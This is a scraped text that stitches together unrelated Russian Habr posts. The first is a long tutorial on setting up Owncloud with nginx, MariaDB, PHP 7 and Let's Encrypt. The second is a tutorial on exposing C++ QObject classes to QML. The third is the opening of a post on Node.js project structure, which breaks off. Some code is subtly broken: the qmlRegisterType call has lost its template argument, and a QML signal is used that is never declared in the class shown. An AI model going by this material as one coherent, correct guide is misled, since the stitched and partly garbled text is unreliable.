Давно хотел написать целостный туториал по поднятию Owncloud в условиях домашнего сервера или небольшой компании до 500 пользователей. Owncloud — это прекрасный open-source проект, который позволяет на собственной инфраструктуре поднять свой вариант сервера синхронизации. По возможностям очень похож на Dropbox, а в чем-то его и превосходит. Огромный плюс — отсутствие ограничений по объемам хранения, полный контроль над сервером. Минусы тоже очевидны: вам самим придется следить за всем этим безобразием и беспокоиться о надежности сервера, валяющегося на антресолях или в шкафу.
Совсем недавно мне подвернулась задача по развертыванию Owncloud в домашне-боевых условиях. Я честно отработал свои два литра кошерного русского имперского стаута и решил поделиться своим опытом, собрав все воедино. Итак, сегодня мы рассмотрим:
1. Развертывание актуального LEMP-stack
2. HTTPS. Let's Encrypt для Nginx с автоматическим обновлением сертификата
3. Конфигурирование Nginx для Owncloud
4. Кэширование php-apcu
5. Подключение внешнего основного хранилища по NFS
### Стартовый комплект
**Операционная система** под наш сервер — [Ubuntu 16.04.1 Server](http://releases.ubuntu.com/16.04/ubuntu-16.04.1-server-amd64.iso) ([torrent](http://releases.ubuntu.com/16.04/ubuntu-16.04-server-amd64.iso.torrent)). Оптимальный вариант — виртуальная машина. Это довольно удачное решение благодаря легкости миграции, возможности динамического выделения ресурсов, снапшотов и прочих плюшек. Размер виртуальной машины — 10-15 ГБ. Этого более чем достаточно под систему.
**Внешнее хранилище** (каталог data для owncloud), где будут храниться все ваши данные. Размер — в зависимости от ваших потребностей. Я бы рекомендовал рассматривать вариант от 100 ГБ. Разделение хранилища и основной логики сервера дает большую гибкость конфигурации. В данном случае — SSD для системы и HDD от NAS для данных. При подключении внешнего раздела с данными появляется гибкость в плане миграции и возможность нарастить скорость или объем, если вдруг потребуется.
**Домен и внешний ip-адрес** — в условиях умирающего пула свободных ipv4 адресов провайдеры все реже отдают просто так белый внешний адрес. Если у вас серый адрес, то тут уже мало, что можно сделать. Только пробрасывать VPN-туннель на свою VPS с белым IP и плясать оттуда. Но иногда провайдеры отдают вполне белые адреса, но не статику, а динамику. Причем адрес может меняться просто по велению левой пятки, сессия рваться в полночь, и абонент получает новый IP. В текущем кейсе стоит роутер MikroTik, который умеет бесплатный динамический DNS, начиная с RouterOS v6.14. Находится эта радость в разделе [IP/Cloud](http://wiki.mikrotik.com/wiki/Manual:IP/Cloud). После подключения функции роутер получает доменное имя вида **123456b7890f.sn.mynetname.net**. Домен этот всегда указывает на ipv4 адрес, выданный провайдером.
Домен отдают 4-го уровня. Обычный StartSSL и другие сертификационные центры не станут с вами работать, если вы не владеете 2 уровнем. Раньше это приводило к использованию самоподписанного сертификата, на который ругался браузер. Теперь появился Let's Encrypt, который проблему решает.
Есть и альтернативные варианты, которые хорошо описаны в публикации [Домашний хостинг сайтов с динамическим IP](https://habrahabr.ru/post/313426/) пользователем [spectreob](https://habrahabr.ru/users/spectreob/).
### Развертываем LEMP
Начинать, пожалуй, стоит с установки наиболее привычных утилит для работы: htop, iotop, iftop, mc. Затем приступаем к самому LEMP — Linux, Nginx (его произносят как Engine X), MySQL/MariaDB и PHP. Linux у нас уже есть. Почему Ubuntu 16.04, а не, скажем, Debian или CentOS? Я не люблю rpm, и с Ubuntu проще в плане репозиториев со свежими версиями софта. Очень не люблю практику «make install» на боевых серверах. Все же более оптимальным является путь использования пакетного менеджера. Этого принципа и будем придерживаться.
**UPD** Вначале сделайте обычный sudo apt install nginx, чтобы после обновления на свежий репозиторий все конфиги остались на прежних привычных местах.
Добавляем репозиторий с более свежими версиями nginx. Там были закрыты некоторые баги и уязвимости. Копируем GPG ключ разработчиков Nginx и создаем новый источник-репозиторий для apt:
```
wget http://nginx.org/keys/nginx_signing.key
sudo apt-key add nginx_signing.key
sudo nano /etc/apt/sources.list.d/nginx.list
```
В файл добавляем ссылки на репозиторий для Ubuntu 16.04 Xenial:
`deb http://nginx.org/packages/mainline/ubuntu/ xenial nginx
deb-src http://nginx.org/packages/mainline/ubuntu/ xenial nginx`
Устанавливаем nginx, сконфигурируем позже:
```
sudo apt-get update
sudo apt-get install nginx
```
Развертываем MariDB (актуальный форк MySQL) и проверяем работоспособность сервиса:
```
sudo apt-get install mariadb-server mariadb-client
sudo systemctl status mysql.service
```
Выполняем hardening-процедуру, отключая тестовые базы и прочие потенциальные дыры в защите:
```
sudo mysql_secure_installation
```
Будет запущен диалог, в котором надо будет ответить на серию вопросов. **В этом же диалоге мы задаем пароль для root**. Он потребуется позже, когда будем создавать базу для owncloud.
Устанавливаем PHP7.0, php-fpm и модули, необходимые для работы owncloud, с сопутствующими сервисами:
```
sudo apt-get install php7.0 php7.0-mysql php7.0-fpm php7.0-gd php7.0-json php7.0-curl php7.0-zip php7.0-xml php7.0-mbstring
```
Также для работы Owncloud требуется отредактировать переменные окружения:
```
sudo nano /etc/php/7.0/fpm/pool.d/www.conf
```
Необходимо раскомментировать следующие строки:
```
env[HOSTNAME] = $HOSTNAME
env[PATH] = /usr/local/bin:/usr/bin:/bin
env[TMP] = /tmp
env[TMPDIR] = /tmp
env[TEMP] = /tmp
```
### Настраиваем Let's Encrypt и конфигурируем Nginx
Let's Encrypt — это некоммерческая инициатива, предоставляющая бесплатный, автоматизированный и открытый центр сертификации. За что им огромное спасибо. Вероятно, сертификационные центры, которые торгуют, по сути, своей репутацией, теперь будут вынуждены получать основную прибыль из сертификатов высокого класса — Organization Validation (OV) или Extended Validation (EV). Такой тип сертификата доступен только для юридических лиц и подтверждает факт существования условного ООО «Рога и Копыта». При этом проверяется владение доменом, сама компания, нотариально заверенные документы и другие нюансы.
Для личного использования нам вполне будет достаточно Domain Validation сертификата от Let's Encrypt. Этот вариант по сути лишь удостоверяет тот факт, что вы соединились именно с доменом example.com. И заодно защитит нас от Man-in-the-Middle атак, инжекции всякой дряни на целевую страницу (передаю привет MosMetro Wi-Fi и сотовым операторам) и перехвата паролей при использовании общественных сетей. Идеальный вариант для собственного Owncloud. Почему не использовать самоподписанный сертификат?
В Owncloud есть отличная функция «share link», которая позволяет передать человеку ссылку на файл или каталог. Очень удобно, когда внезапно нужно передать что-то весом в 50 ГБ, а более привычные Dropbox и Google Drive бесплатно такое не позволяют. Вы точно не хотите объяснять бухгалтеру Олимпиаде Сигизмундовне, почему ее браузер пылает красным и кричит, что ~~ее взломали пакистанские хакеры~~ все плохо из-за невалидного сертификата. Тем более, что все весьма просто.
Основная идея Let's Encrypt — выдача **автоматически** сертификаты с коротким сроком действия — 90 дней. По мнению авторов проекта, это увеличит безопасность благодаря автоматическому выведению из оборота скомпрометированых сертификатов. Для валидации домена сервис предлагает certbot-auto с несколькими сценариями работы:
1. **Apache** — автоматически получает и устанавливает сертификат для Apache 2.4. Использует 443 порт
2. **Nginx** — автоматически получает и устанавливает сертификат для Nginx. **Альфа версия**, для продакшена рано. Использует 443 порт
3. **webroot** — создает в корневом каталоге действующего сервера файлы необходимые для валидации домена. Использует 80 порт
4. **standalone** — поднимает автономный сервер, который отвечает на необходимые запросы извне для валидации. Использует 80 или 443 порт. Для систем, которые не имеют действующего веб-сервера и других случаев.
5. **manual** — полностью ручной режим, требующий ручной копипасты. Применяется в том случае, когда вы генерируете ключи не на целевой машине. Например, для роутера.
В результате мы имеем хороший универсальный набор для разных сценариев использования, включая ситуации, когда у вас нет полного контроля на сервером. Автоматическую установку сертификата в Nginx мы не будем использовать из-за ее альфа статуса, а редактирование конфига рабочего веб-сервера — процесс крайне интимный. Очень не хочется столкнуться с кривой работой не отлаженного скрипта. Тем не менее, процесс получения сертификата мы автоматизируем.
Для начала выкачаем и установим последнюю версию certbot:
```
cd /usr/local/sbin
sudo wget https://dl.eff.org/certbot-auto
sudo chmod a+x /usr/local/sbin/certbot-auto
```
Редактируем конфиг nginx и разрешаем доступ к тому каталогу, в который будет писать webroot вариант certbot'а:
```
sudo nano /etc/nginx/sites-available/default
```
Добавляем строки:
```
location ~ /.well-known {
allow all;
}
```
Перезапускаем сервис nginx:
```
sudo service nginx restart
```
Теперь можно запустить certbot и сгенерировать сертификаты для нашего домена. В нашем конкретном случае это домен аж **четвертого уровня** от Mikrotik DDNS. Никто другой валидные для браузеров сертификаты вам не подпишет даже для третьего. **UPD**: я ошибся с путем webroot по дефолту. В Ubuntu 16.04 не /usr/share/nginx/html, а /var/www/html. На всякий случай проверьте то, что написано в /etc/nginx/sites-available/default после директивы root. Например root /var/www/html;
```
sudo certbot-auto certonly -a webroot --webroot-path=/var/www/html -d example.sn.mynetname.net
```
В диалоговом окне нужно будет ввести адрес электронной почты и согласиться с условиями использования:
Certbot складывает актуальные версии сертификатов в каталог /etc/letsencrypt/live/, создавая симлинки. Внутри будут лежать файлы:
* cert.pem: сертификат вашего домена
* chain.pem: chain сертификат Let's Encrypt
* fullchain.pem: комбинированный сертификат из cert.pem и chain.pem
* privkey.pem: приватный ключ вашего сертификата
Генерируем ключ Диффи — Хеллмана:
```
sudo openssl dhparam -out /etc/ssl/certs/dhparam.pem 4096
```
Отлично. Теперь, прописав в конфиге Nginx ссылку на /etc/letsencrypt/live/, мы будем иметь всегда актуальную версию. Создаем новый конфиг для нашего домена:
```
sudo nano /etc/nginx/sites-available/example.sn.mynetname.net
```
~~Готовый конфиг с оптимизациями, которые рекомендует мануал owncloud. 80 порт автоматически редиректит на 443~~
**Конфигурационный файл был переписан с учетом замечаний, отдельное спасибо [grozaman](https://habrahabr.ru/users/grozaman/).** Теперь ценой отказа от поддержки Windows XP и некоторых устарвеших систем, мы повысили уровень безопасности. Также увеличен ключ Диффи — Хеллмана до 4096. Это немного увеличит время хендшейка, но не должно быть существенным. Впрочем вы можете использовать 2048 бит. Добавлен ssl\_stapling и ряд дополнительных заголовков для увеличения безопасности.
С этим вариантом конфигурации сайт набирает А+ на [https://www.ssllabs.com](http://ssllabs.com).
Также с данным конфигом получаем A-grade на <https://securityheaders.io>.
**Исправленный конфиг**
```
upstream php-handler {
#server 127.0.0.1:9000;
server unix:/run/php/php7.0-fpm.sock;
}
server {
listen 80;
server_name meklon.net;
# Редирект на HTTPS версию сайта.
return 301 https://$server_name$request_uri;
}
server {
# Поддержка HTTPS
listen 443 ssl;
server_name meklon.net;
# Задаем главную страницу
index index.php index.html index.htm index.nginx-debian.html;
# Включаем логгирование
error_log /var/log/nginx/cloud.error.log;
access_log /var/log/nginx/cloud.access.log;
### SSL CONFIGURATION ###
ssl on;
ssl_certificate /etc/letsencrypt/live/meklon.net/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/meklon.net/privkey.pem;
ssl_trusted_certificate /etc/letsencrypt/live/meklon.net/fullchain.pem;
ssl_dhparam /etc/ssl/certs/dh4096.pem;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
ssl_ciphers "EECDH+AESGCM:EECDH+CHACHA20:EECDH+AES256:!AES128";
ssl_stapling on;
ssl_stapling_verify on;
resolver 8.8.4.4 8.8.8.8;
### КОНЕЦ КОНФИГУРАЦИИ SSL ###
# Дополнительные заголовки для увеличения безопасности, в частности, первая строчка добавляет поддержку HSTS
add_header Strict-Transport-Security 'max-age=631138519; includeSubDomains; preload' always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' blob data:";
add_header X-Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' blob data:";
add_header X-WebKit-CSP "default-src 'self'; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' blob data:";
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Xss-Protection "1; mode=block" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Proxy-Cache "EXPIRED" always;
# Дополнительные заголовки от разработчиков Nextcloud
add_header X-Robots-Tag "none" always;
add_header X-Download-Options "noopen" always;
add_header X-Permitted-Cross-Domain-Policies "none" always;
# Корневая директория сайта
root /var/www/;
# Максимальный размер файла, который мы сможем загрузить и увеличенный буфер
client_max_body_size 3G;
fastcgi_buffers 64 4K;
# C gzip бывают проблемы в случае с Nextcloud, поэтому разработчики рекомендуют его отключить
gzip off;
# Кастомные страницы ошибок 403 и 404.
error_page 403 /core/templates/403.php;
error_page 404 /core/templates/404.php;
### Далее мы принудительно разрешаем/запрещаем чтение определенных директорий и файлов ###
### Помимо этого мы устанавливаем редиректы для красивых URL ###
rewrite ^/.well-known/carddav /remote.php/carddav/ permanent;
rewrite ^/.well-known/caldav /remote.php/caldav/ permanent;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;
location ~ /.well-known {
allow all;
}
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
location = /robots.txt {
allow all;
log_not_found off;
access_log off;
}
location ~ ^/(?:\.htaccess|data|config|db_structure\.xml|README){
deny all;
}
location ~ ^/(build|tests|config|lib|3rdparty|templates|data)/ {
deny all;
}
location ~ ^/(?:\.|autotest|occ|issue|indie|db_|console) {
deny all;
}
location ~ \.php(?:$|/) {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param HTTPS on;
fastcgi_param modHeadersAvailable true; #Avoid sending the security headers twice
fastcgi_pass php-handler;
fastcgi_intercept_errors on;
}
}
```
**старый конфиг nginx**
```
upstream php-handler {
#server 127.0.0.1:9000;
server unix:/run/php/php7.0-fpm.sock;
}
#Redirect from 80 to 443
server {
listen 80;
server_name example.sn.mynetname.net;
return 301 https://$host$request_uri;
}
# HTTPS
server {
listen 443 ssl;
server_name example.sn.mynetname.net;
ssl_certificate /etc/letsencrypt/live/example.sn.mynetname.net/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/example.sn.mynetname.net/privkey.pem;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
ssl_dhparam /etc/ssl/certs/dhparam.pem;
ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:50m;
ssl_stapling on;
ssl_stapling_verify on;
add_header Strict-Transport-Security max-age=15552001;
add_header Cache-Control "public, max-age=7200";
# Add headers to serve security related headers
add_header X-Content-Type-Options nosniff;
add_header X-Frame-Options "SAMEORIGIN";
add_header X-XSS-Protection "1; mode=block";
add_header X-Robots-Tag none;
add_header "X-Download-Options" "noopen";
add_header "X-Permitted-Cross-Domain-Policies" "none";
root /var/www/;
rewrite ^/.well-known/carddav /remote.php/carddav/ permanent;
rewrite ^/.well-known/caldav /remote.php/caldav/ permanent;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;
location ~ /.well-known {
allow all;
}
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
location = /robots.txt {
allow all;
log_not_found off;
access_log off;
}
location ~ ^/(?:\.htaccess|data|config|db_structure\.xml|README){
deny all;
}
location ~ ^/(build|tests|config|lib|3rdparty|templates|data)/ {
deny all;
}
location ~ ^/(?:\.|autotest|occ|issue|indie|db_|console) {
deny all;
}
location ~ \.php(?:$|/) {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param HTTPS on;
fastcgi_param modHeadersAvailable true; #Avoid sending the security headers twice
fastcgi_pass php-handler;
fastcgi_intercept_errors on;
}
}
```
Конечно, если вам нужна совместимость со старыми версиями Java, Windows XP и тому подобным, придется разрешить некоторые потенциально небезопасные протоколы.
### Автоматизируем обновление сертификата
Проверяем обновление сертификата с ключом --dry-run, который имитирует обновление, но ничего не меняет в реальности:
```
sudo certbot-auto renew --dry-run
```
При запуске этой команды certbot свяжется с серверами EFF и попытается обновить свою версию, если это возможно, а затем и сертификаты. Причем не только на все доступные домены. Очень удобно. Если срок смены сертификата не подошел, то ничего не произойдет, и скрипт об этом сообщит.
```
-------------------------------------------------------------------------------
Processing /etc/letsencrypt/renewal/example.sn.mynetname.net.conf
-------------------------------------------------------------------------------
Cert not yet due for renewal
The following certs are not due for renewal yet:
/etc/letsencrypt/live/example.sn.mynetname.net/fullchain.pem (skipped)
No renewals were attempted.
```
Теперь можно добавить регулярный запуск скрипта crontab:
```
sudo crontab -e
```
Внутрь добавляем регулярную задачу по обновлению сертификатов и их перезаливке в nginx:
```
30 2 * * 1 /usr/local/sbin/certbot-auto renew >> /var/log/le-renew.log
35 2 * * 1 /etc/init.d/nginx reload
```
Активируем наш сайт:
```
sudo ln -s /etc/nginx/sites-available/418402b5554f.sn.mynetname.net /etc/nginx/sites-enabled/
```
### Установка Owncloud
Есть несколько вариантов, но наиболее предпочтительным в большинстве случаев является установка из репозитория. Пусть у пакетного менеджера голова болит по поводу обновлений. Главное, не забывать делать backup перед накатыванием новых пакетов. Иногда бывают неприятные сюрпризы. Для начала необходимо добавить GPG-ключ:
```
wget -nv https://download.owncloud.org/download/repositories/stable/Ubuntu_16.04/Release.key -O Release.key
sudo apt-key add - < Release.key
```
После этого добавляем репозиторий и устанавливаем пакет owncloud-files. Обычный пакет owncloud притянет по зависимости еще и Apache, а он нам не нужен.
```
sudo sh -c "echo 'deb http://download.owncloud.org/download/repositories/stable/Ubuntu_16.04/ /' > /etc/apt/sources.list.d/owncloud.list"
sudo apt-get update
sudo apt-get install owncloud-files
```
В результате, в /var/www/owncloud у вас развернется все необходимое. Так как Nginx считает корневым каталог /var/www, то доступ к сервису будет выглядеть примерно так: **example.com/owncloud**
### Настраиваем MariaDB
Так как инсталляция у нас маленькая, то в тонкости оптимизации мы вдаваться не будем. Поэтому разворачиваем с более или менее дефолтным конфигом. Username и password подставьте те, которые будет использовать owncloud для доступа к своей базе данных.
```
sudo mysql -uroot -p
create database owncloud;
create user username@localhost identified by 'password';
grant all privileges on owncloud.* to username@localhost identified by 'password';
flush privileges;
exit;
```
### Подключаем внешнее хранилище
Как я уже говорил раньше, мне кажется хорошей идеей разделять виртуальную машину с самой логикой сервиса и хранилище, куда будут падать синхронизированные данные. Здесь вы уже можете поступить по своему разумению. Можно не делать ничего, и тогда дефолтным хранилищем будет /var/www/owncloud/data. Можно поступить как я и создать каталог /mnt/data, куда через fstab будет монтироваться внешний том. Это может быть SSD/HDD, он может лежать локально, а может находиться на NAS-storage в этой же локальной сети. Не забудьте только протестировать скорость полученного гибрида. **Это потенциально узкое место**. В моем домашнем варианте это samba-сервер на хост-машине, кто-то может предпочесть NFS.
Дополнительное удобство такой гибридной конструкции — легкость переезда на более быстрые или емкие варианты при необходимости. Достаточно остановить сервисы и залить на новый подключаемый том все файлы из старого /mnt/data, после чего изменить точку монтирования в fstab и перезапустить сервис вновь. Вдруг вы решите перенести данные со старого HDD на SSD RAID?
### Кэширование
Важный момент. Без memory caching owncloud может работать ощутимо задумчивее. Причем он непременно напомнит вам об этом на странице администратора. Выбор способа кэширования зависит от архитектуры системы. С рекомендациями от разработчиков вы можете ознакомиться [тут](https://doc.owncloud.org/server/9.1/admin_manual/configuration_server/caching_configuration.html). Если коротко, то для личного использования и небольших инсталляций рекомендуется использовать только **APCu**. Для малых организаций, при установке на один сервер — **APCu для локального кэширования и Redis для file locking**. Для установки на кластер в большой организации: **Redis для всего, кроме локального кэширования**.
Разработчики считают APCu наиболее быстрым вариантом для локального кэша. Если хватает оперативной памяти, то лучше использовать APCu для локального кэширования и Redis для file locking. Если памяти недостаточно, то рекомендуется использовать Redis и для того и другого.
В нашем варианте мы будем использовать только **APCu**. Установим соответствующий модуль для php:
```
sudo apt-get install php-apcu
```
Теперь будет достаточно просто добавить их в конфигурационный файл owncloud — **config.php**:
```
'memcache.local' => '\OC\Memcache\APCu',
```
### Первый запуск нашего детища
Перезагружаем машину на всякий случай, чтобы перезапустить все сервисы. Заходим на example.com/owncloud и внимательно ~~жмем все кнопки без разбора~~ заполняем строки админского аккаунта, паролей, расположения data католога (/mnt/data, как в этом руководстве), логина и пароля от owncloud-пользователя базы данных. Если все прошло нормально, то скоро вы загрузитесь в основное меню сервиса и сможете убедиться, что все ~~нахрен сломано~~ в порядке.
### \*Тысяча слонов
**Терри Пратчетт, Движущиеся картинки**
Но Достабль уже не слушал. Он указал на несколько прислоненных к стене дощечек.
— Что это такое? — спросил он.
— А это моя идея, — сказал Зильберкит. — Мы подумали, было бы проявлением… э-э… делового чутья, — он явно смаковал эти слова, как непривычное, но изысканное лакомство, — рассказывать людям о новых движущихся картинках, которые мы здесь производим.
Достабль подобрал одну из дощечек и, держа ее в вытянутой руке, осмотрел критическим оком. На ней значилось:
На будуюсчей ниделе мы пакажем
«ПЕЛИАС И МЕЛИСАНДРА»
Рамантическая Трогедия в 2 частях
Спасибо за внимание
— Угу, — произнес он без всякого выражения.
— Разве плохо? — глухо выговорил раздавленный Зильберкит. — Ну, это, ведь тут есть все, что необходимо знать зрителям.
— Разреши, — сказал Достабль, беря со стола Зильберкита кусочек мела.
Некоторое время он что-то торопливо царапал на обороте доски, а потом позволил прочитать написанное:
БОГИ И ЛЮДИ СКАЗАЛИ ЭТАМУ НИ БЫВАТЬ НО ОНИ НИЧИГО НИ ХАТЕЛИ СЛУШАТЬ
«ПЕЛИАС И МЕЛИСАНДРА»,
Истерия Запретной Люпви
Страсть Пабеждаит Прасранство и Время!
Тебя Натрясут
При Участии 1000 сланов!
Виктор и Зильберкит читали текст с настороженным вниманием. Так изучают обеденное меню на чужом языке. А язык и впрямь был чужим. Но что самое скверное, на вид он был прежним, родным.
— Ну, не знаю… — осторожно высказался Зильберкит. — Собственно говоря… Что уж там такого запретного… Э-э… Все это основано на реальной истории, только имена изменены. Я полагал, что картина будет полезна, так сказать, подрастающему поколению. Герои, извольте видеть, так никогда и не встретились — вот ведь в чем трагедия. Все это, э-э… очень-очень грустно. — Он посмотрел на дощечку. — Хотя, с другой стороны, в этом несомненно что-то есть. Э-э… — Он явно был чем-то обеспокоен. — Но я, по правде сказать, не помню никаких слонов. — Голос его прозвучал крайне виновато. — В день кликов я был на работе целый день, но совершенно не помню тысячи слонов, хотя наверняка заметил бы их.
Достабль сверлил его немигающим взором. Откуда взялись слоны, он и сам не знал, однако каждое новое мыслительное усилие одаривало его очередным, весьма определенным представлением о том, как следует производить картины. Тысяча слонов — для начала это совсем неплохо.
Спасибо всем дочитавшим до конца эту простыню. Мне хотелось описать максимально полно все детали, чтобы не приходилось рыться по разным, часто противоречивым источникам. Я не исключаю, что мог где-то допустить опечатки или неточности, хотя и проверил все дважды. Буду очень благодарен тыканью носом в ошибки.
#### UPD
Как мне правильно указали — надо переходить на Nextcloud, куда сбежали все разработчики. Я упустил этот момент в силу того, что уже довольно давно сижу на этой системе.
#### UPD2
Со мной связался пользователь [grozaman](https://habrahabr.ru/users/grozaman/) и указал на некоторые неоптимальные настройки nginx, связанные со стойкостью шифрования и другими нюансами. Хороший дополнительный мануал можно взять здесь:[Настройка Nextcloud на базе NGINX](https://krasovsky.me/it/2016/08/nextcloud-nginx-config/)
#### UPD3
Мне уже несколько раз указали на то, что certbot/letsencrypt лежит в репозиториях и нет смысла тащить его отдельно. Для Ubuntu это:
```
sudo apt-get install letsencrypt
```
#### UPD4
Исправил ошибку с дефолтным webroot и доработал конфигурационный файл. | https://habr.com/ru/post/310144/ | null | ru | null |
# C++ объекты и QML, все по полочкам
На Хабре и в Сети достаточно много статей на тему QML, но все они оставляют за кадром некоторые моменты. Сегодня я попытаюсь приподнять занавес над некоторыми очевидными моментами для тех, кто имел дело со связкой QML и C++, и не таких очевидных для тех, кто только начинает вникать в нюансы этой замечательной технологии.
Итак. Допустим, у нас есть интерфейс приложения на QML и C++ класс с логикой работы. Как же нам собрать все это в единое целое? Начнем с нашего C++ класса, самое первое что нам нужно сделать для того что бы он был доступен из QML – это унаследовать его от QObject либо любого другого наследника этого самого QObject.
```
class TestClass : public QObject
{
Q_OBJECT
public:
explicit TestClass(QObject *parent = 0);
signals:
public slots:
};
```
Теперь сделаем доступным из QML какое-нибудь свойство, для этого существует макрос Q\_PROPERTY.
```
class TestClass : public QObject
{
Q_OBJECT
Q_PROPERTY(int someProperty READ getSomeProperty WRITE setSomeProperty NOTIFY somePropertyChanged)
public:
explicit TestClass(QObject *parent = 0);
int getSomeProperty()const;
void setSomeProperty(const int &);
private:
int someProperty;
signals:
void somePropertyChanged();
public slots:
};
int TestClass::getSomeProperty()const
{
qDebug() << "I'm getter";
return someProperty;
}
void TestClass::setSomeProperty(const int &i)
{
qDebug() << "I'm setter";
someProperty = i;
}
```
Здесь someProperty собственно само наше свойство, getSomeProperty – метод для чтения, setSomeProperty – метод для записи. Если мы собираемся менять наше свойство из C++ то нам необходимо уведомлять об этом интерфейс на QML с помощью сигнала somePropertyChanged. Теперь должны зарегистрировать наш класс в QML, для этого нам нужно вызвать в конструкторе QmlApplicationViewer, который создается QtCreator автоматически при создании нового QtQuick проекта, добавить вызов шаблонной функции qmlRegisterTypes.
```
qmlRegisterType("ModuleName", 1, 0, "TypeName");
```
Здесь TestClass – наш класс, ModuleName – имя импортируемого QML модуля, TypeName – имя типа объектов в QML. Теперь в QML файле импортируем наш класс, и создаем экземпляр.
```
import QtQuick 1.0
import ModuleName 1.0
Rectangle {
width: 360
height: 360
TypeName{
id: myObj
someProperty: 10
}
Text {
text: "My property is: " + myObj.someProperty
anchors.centerIn: parent
}
MouseArea {
anchors.fill: parent
onClicked: {
Qt.quit();
}
}
}
```
Подробно нас интересуют следующие моменты:
1)
```
import ModuleName 1.0
```
– так мы говорим QML движку в каком модуле мы будем искать наш тип.
2)
```
TypeName{
id: myObj
someProperty: 10
}
```
Собственно создание объекта нашего типа и запись свойства.
3)
```
text: "My property is: " + myObj.someProperty
```
– Чтение нашего свойства.
Компилируем, запускаем.
Для того что бы иметь возможность вызывать из QML C++ методы их необходимо определять как слоты либо при помощи макроса Q\_INVOKABLE.
```
class TestClass : public QObject
{
Q_OBJECT
Q_PROPERTY(int someProperty READ getSomeProperty WRITE setSomeProperty NOTIFY somePropertyChanged)
public:
explicit TestClass(QObject *parent = 0);
int getSomeProperty()const;
void setSomeProperty(const int &);
Q_INVOKABLE
void myMethod();
private:
int someProperty;
signals:
void somePropertyChanged();
public slots:
void mySlot();
};
void TestClass::myMethod()
{
qDebug() << "I am Method";
someProperty++;
}
void TestClass::mySlot()
{
qDebug() << "I am SLOT";
someProperty--;
}
```
Модифицируем QML файл.
```
import QtQuick 1.0
import ModuleName 1.0
Rectangle {
width: 360
height: 360
TypeName{
id: myObj
someProperty: 10
}
Text {
text: "My property is: " + myObj.someProperty
anchors.centerIn: parent
}
Rectangle{
width: 20
height: 20
color: "red"
MouseArea {
anchors.fill: parent
onClicked: {
myObj.mySlot();
}
}
}
Rectangle{
anchors.right: parent.right
width: 20
height: 20
color: "blue"
MouseArea {
anchors.fill: parent
onClicked: {
myObj.myMethod();
}
}
}
}
```
Компилируем, запускаем, нажимаем на квадраты и по отладочному выводу видим что все работает, вот только изменения нашего свойства никак не отражаются на интерфейсе. Но мы это предвидели и при объявлении свойства указали NOTIFY somePropertyChanged, модифицируем наш метод и слот так что бы при изменении свойства испускался сигнал somePropertyChanged.
```
void TestClass::myMethod()
{
qDebug() << "I am Method";
someProperty++;
emit somePropertyChanged();
}
void TestClass::mySlot()
{
qDebug() << "I am SLOT";
someProperty--;
emit somePropertyChanged();
}
```
Снова компилируем, запускаем и наслаждаемся – оно реагирует.
А как же нам быть если сами мы хотим обработать сигнал, испускаемый C++ объектом, из QML кода? Все просто. Добавляем в наш класс сигнал и генерируем его в угодный нам момент.
```
void TestClass::mySlot()
{
qDebug() << "I am SLOT";
someProperty--;
emit somePropertyChanged();
if(someProperty < 0) emit someSignal();
}
```
Для того что бы поймать этот сигнал в QML нашему объекту необходим обработчик события onSomeSignal, имена событий в QML получаются путем преобразования первой буквы сигнала к верхнему регистру и добавления префикса on.
```
TypeName{
id: myObj
someProperty: 10
onSomeSignal: {
Qt.quit();
}
}
```
Вот так выглядит создание объекта с обработчиком событий в QML файле.
Вот собственно и все что я хотел рассказать. Спасибо за внимание. | https://habr.com/ru/post/140899/ | null | ru | null |
# MR шаблон для написания сервисов на Node.js
Суть такова: node.js не дает готового решения для создания проекта. Первый мой проект на node.js состоял из одного coffeescript файла и run.js для запуска из IDE. Когда роутов было пять штук, все было замечательно, но когда проект оброс моделями и роутами, это превратилось в ад. Решают эту проблему разными способами, кто-то используй hub, кто-то global, кто-то все в один файл заносит.
